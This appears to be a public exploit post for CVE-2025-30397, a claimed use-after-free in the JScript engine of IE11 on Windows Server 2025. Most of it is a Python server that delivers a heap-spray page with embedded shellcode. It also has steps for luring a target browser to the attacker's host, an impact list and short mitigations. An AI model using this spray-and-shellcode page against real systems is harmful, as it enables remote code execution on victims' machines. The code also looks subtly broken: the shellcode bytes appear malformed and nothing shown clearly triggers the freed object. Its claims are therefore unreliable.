Microsoft Windows Server 2025 JScript Engine Use-After-Free Remote Code Execution (CVE-2025-30397)
This post contains technical details about security vulnerabilities and exploit development for educational and research purposes only. All techniques described are intended for use in authorized penetration testing, CTF competitions, or controlled lab environments.
Unauthorized use of these techniques against systems you do not own or have explicit written permission to test is illegal and unethical. Always obtain proper authorization before testing.
Disclosure status: Full Disclosure
CVE references link to public NVD / vendor advisories. Proof-of-concept code, where included, is provided after patch availability for defensive research purposes.
Content *
Overview
A remote code execution vulnerability identified as CVE-2025-30397 affects the JScript Engine used by Internet Explorer 11 on Windows Server 2025.
The vulnerability is caused by a Use-After-Free memory corruption flaw within the JScript engine implementation (jscript.dll). When exploited, an attacker can manipulate freed memory regions using heap spraying techniques to redirect execution flow to attacker-controlled shellcode.
The provided proof-of-concept demonstrates the vulnerability by launching calc.exe on the target system.
Affected Systems
Vendor: Microsoft
Affected platform:
- Windows Server 2025 (build 25398 and earlier)
Tested environment:
- Windows Server 2025
- Internet Explorer 11 (x86)
Technical Details
The vulnerability arises from improper memory management within the JScript engine. Under specific conditions, an object may be freed while still referenced by the script runtime.
An attacker can exploit this condition by:
- Triggering the vulnerable code path in the JScript engine.
- Performing heap spraying to place controlled data in predictable memory locations.
- Redirecting execution to malicious shellcode.
The PoC demonstrates this by serving a crafted webpage containing a JavaScript heap-spray payload.
Proof of Concept (PoC)
The following Python script runs a local HTTP server hosting a malicious webpage that triggers the vulnerability.
#!/usr/bin/env python3
# Exploit Title: Microsoft Windows Server 2025 JScript Engine - Remote Code Execution (RCE)
# Exploit Author: Mohammed Idrees Banyamer
# Instagram: @@banyamer_security
# GitHub: https://github.com/mbanyamer
# Date: 2025-05-31
# CVE: CVE-2025-30397
# Vendor: Microsoft
# Affected Versions: Windows Server 2025 (build 25398 and prior)
# Tested on: Windows Server 2025 + IE11 (x86)
# Type: Remote
# Platform: Windows
# Vulnerability Type: Use-After-Free (JScript Engine)
# Description: This PoC exploits a Use-After-Free vulnerability in jscript.dll to achieve code execution via heap spraying. The shellcode executes calc.exe as a demonstration of code execution.
# ============================
# Usage Instructions:
#
# 1. Save this script as `exploit_server.py`.
# 2. Run it with Python 3:
# $ python3 exploit_server.py
# 3. On the vulnerable target (Windows Server 2025 + IE11):
# Open Internet Explorer and navigate to:
# http://<attacker-ip>:8080/poc_cve_2025_30397.html
#
# If the target is vulnerable, calc.exe will be executed.
# ============================
import http.server
import socketserver
PORT = 8080
HTML_CONTENT = b"""<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>PoC - CVE-2025-30397</title>
<script>
var payload = unescape("%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090");
while (payload.length < 0x1000) payload += payload;
var shell = unescape(
"%u9090%u9090%uebfc%u5eeb%u31b8%u64c9%u8b8b%u3050%u8b0c%u8b70" +
"%u3c4a%u780c%u4f0a%u4b8b%u1c70%u8b1c%u8b6c%u0c5c%u8b14%u285c" +
"%uef01%u528b%u8b10%u3c0a%u758b%u1c28%u8b34%u5c6a%u0158%uc985" +
"%u75c9%u8b58%u8b10%u3c20%u418b%u0348%u408b%u8b34%u1c4a%uc085" +
"%u7401%u0343%u0c6a%u58eb%ue8d0%uff00%u6361%u6c63%u2e00%u6578" +
"%u0065"
);
var final = payload + shell;
var buffer = [];
for (var i = 0; i < 1500; i++) buffer[i] = final.substring(0);
var sprayTarget = document.createElement("iframe");
sprayTarget.setAttribute("src", "about:blank");
document.body.appendChild(sprayTarget);
for (var i = 0; i < 200; i++) {
try {
sprayTarget.contentWindow.eval("var a = '" + final + "'");
} catch (e) {}
}
for (var j = 0; j < 1000; j++) {
var obj = document.createElement("div");
obj.innerHTML = "EXPLOIT" + j;
document.body.appendChild(obj);
}
var victim = document.createElement("object");
victim.setAttribute("classid", "clsid:0002DF01-0000-0000-C000-000000000046");
document.body.appendChild(victim);
alert("PoC loaded. If vulnerable, calc.exe will launch.");
</script>
</head>
<body>
<h1 style="color:red;">Exploit PoC: CVE-2025-30397</h1>
<h2>Author: Mohammed Idrees Banyamer</h2>
<h3>Instagram: <a href="https://instagram.com/mbanyamer" target="_blank">@banyamer_security</a></h3>
<h3>GitHub: <a href="https://github.com/mbanyamer" target="_blank">mbanyamer</a></h3>
<p>This demonstration is for ethical testing only. Triggering the vulnerability on vulnerable Internet Explorer installations will lead to execution of calc.exe via shellcode.</p>
</body>
</html>
"""
class Handler(http.server.SimpleHTTPRequestHandler):
def do_GET(self):
if self.path == '/' or self.path == '/poc_cve_2025_30397.html':
self.send_response(200)
self.send_header("Content-type", "text/html")
self.send_header("Content-length", str(len(HTML_CONTENT)))
self.send_header("X-Content-Type-Options", "nosniff")
self.send_header("X-Frame-Options", "SAMEORIGIN")
self.send_header("Content-Security-Policy", "default-src 'self'")
self.send_header("Cache-Control", "no-cache, no-store, must-revalidate")
self.send_header("Pragma", "no-cache")
self.send_header("Expires", "0")
self.end_headers()
self.wfile.write(HTML_CONTENT)
else:
self.send_error(404, "File Not Found")
def run():
print(f"Serving PoC on http://0.0.0.0:{PORT}/poc_cve_2025_30397.html")
with socketserver.TCPServer(("", PORT), Handler) as httpd:
try:
httpd.serve_forever()
except KeyboardInterrupt:
print("\nServer stopped.")
if __name__ == "__main__":
run()
How the Exploit Works
The exploit follows these steps:
- Launches a local web server hosting a malicious HTML page.
- The page contains JavaScript performing heap spraying.
- The exploit manipulates memory allocation patterns to trigger a Use-After-Free condition.
- The corrupted execution flow executes shellcode.
- The shellcode launches calc.exe as proof of successful exploitation.
Usage
Run the exploit server:
python3 exploit_server.py
Then, on the vulnerable system open:
http://<attacker-ip>:8080/poc_cve_2025_30397.html
If the system is vulnerable, calc.exe will be executed.
Impact
Successful exploitation may allow attackers to:
- Execute arbitrary code remotely
- Gain control over the target system
- Install malware or backdoors
- Perform lateral movement within a network
Mitigation
Recommended security measures include:
- Apply the latest Microsoft security patches
- Disable or remove Internet Explorer where possible
- Use modern browsers with stronger sandboxing
- Enable exploit mitigation technologies such as DEP and ASLR
Researcher
Security research conducted by:
Mohammed Idrees Banyamer
Cybersecurity Researcher – Jordan 🇯🇴
GitHub: https://github.com/mbanyamer
Instagram: @banyamer_security
Disclaimer
This proof-of-concept is provided for educational and authorized security testing purposes only. Unauthorized exploitation of systems without explicit permission is illegal.
Disclosure: Full Disclosure
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